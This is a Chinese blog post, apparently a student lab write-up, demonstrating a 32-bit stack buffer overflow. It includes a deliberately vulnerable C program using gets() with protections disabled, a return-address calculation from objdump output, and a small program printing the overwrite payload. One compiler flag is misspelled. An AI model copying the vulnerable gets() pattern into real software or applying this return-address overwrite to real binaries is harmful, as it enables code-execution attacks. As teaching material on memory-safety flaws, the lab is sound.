栈溢出

原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。缓冲区是内存的一部分空间,用来缓冲输入输出的数据,缓冲区增长方向是从低到高的,与栈相反,所以如果写入的数据大小没有被良好地控制,超过缓冲区大小,就会覆盖栈的内容,轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。

环境

Ubuntu 14.04、gcc 4.8.4、 gdb 7.7.1

实验设计

首先设计两个函数,有漏洞的函数vulnerable和我们要夺取控制权的函数success。
Vulnerable中定义一个较小的字符数组(方便溢出)和一个int变量,用于覆盖局部变量实验。然后调用有漏洞的函数gets获取用户的输入存入字符数组,使用printf打印int变量的值,puts输出用户的输入。
Vulnerable
Success只打印一句话表明实验成功。
success
在main函数中只调用vulnerable函数,然后结束程序。
main
正常情况下执行程序,用户输入数据之后,程序会打印x的值0,输出“hello 0”,然后输出用户输入的数据,程序结束。
我们的目的是输入过长的数据,覆盖局部变量和函数返回地址,将函数返回地址更改为success的地址,这样程序就会执行本不该执行的success函数,输出“stack overflow attack success.”。
这里有两个问题,一是确定输入数据的长度,使之刚好覆盖到返回地址,二是确定success的地址。通过反编译可以解决这两个问题。
实验过程如下,首先编写程序stack_overflow.c,内容如上所述,使用

gcc -g -m32 -fno-stack-protecter stack_overflow.c -o stack_overflow

编译该程序。-g表示添加调试信息,方便gdb调试,-m32表示生成32位程序,-fno-stack-protecter表示不开启堆栈保护,并且没有开启ASLR保护。
然后使用

objdump -S stack_overflow

命令查看程序的信息,重点内容如下:
信息
可以看到success函数的地址为0x0804848f,字符数组s的首地址为ebp-0x12,这样就可以确定注入向量的长度为0x12+0x4(ebp的长度),所以注入向量为0x12*’a’+ ‘bbbb’+0x0804848f,但是该向量是不能直接用的,一是因为计算机内存中一般采用小端存储,所以0x0804848f实际是\x8f\x84\x04\x08,但是我们也不能直接输入0x12*’a’+ ‘bbbb’+\x8f\x84\x04\x08,因为终端会将\和x作为单独的字符读入,而我们要将\x8f作为一个字符输入,所以解决方法如下(终端不能输入我们要构造的函数地址,解决办法是通过文件传递数据):
解决方法
使用如上程序将注入向量写入文件,然后将文件内容作为参数传递给stack_overflow程序,实现攻击。
原理

实验结果与分析

查看栈的信息如下(误):
栈的信息

  1. 正常情况
    正常
    可以看到输入“world”之后,程序输入“hello 0”,局部变量x的值为0,然后输出我们输入的“world”。
  2. 栈溢出
    溢出
    可以看到x的值被覆盖为”aaaa”(a的ascii为97,其16进制为0x61),并且成功执行了success函数,输出了提示信息。

代码

  1. stack_overflow.c
//stack_overflow.c
#include <stdio.h>
#include <string.h>

void vulnerable();
void success();

int main(int argc, char **argv)
{
        vulnerable();
        return 0;
}

void success()
{
        puts("\nStack overflow attack success.\n");
}
void vulnerable()
{
        char s[6];
        int x = 0;

        gets(s);
        printf("hello %x\n",x);
        puts(s);
}
  1. input.c
//input.c
#include<stdio.h>
int main(void)
{
        puts("aaaaaaaaaaaaaaaaaabbbb\x8f\x84\x04\x08");

        return 0;
}

说明

课程作业,仅作记录。
参考文章找不到了?,侵删

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值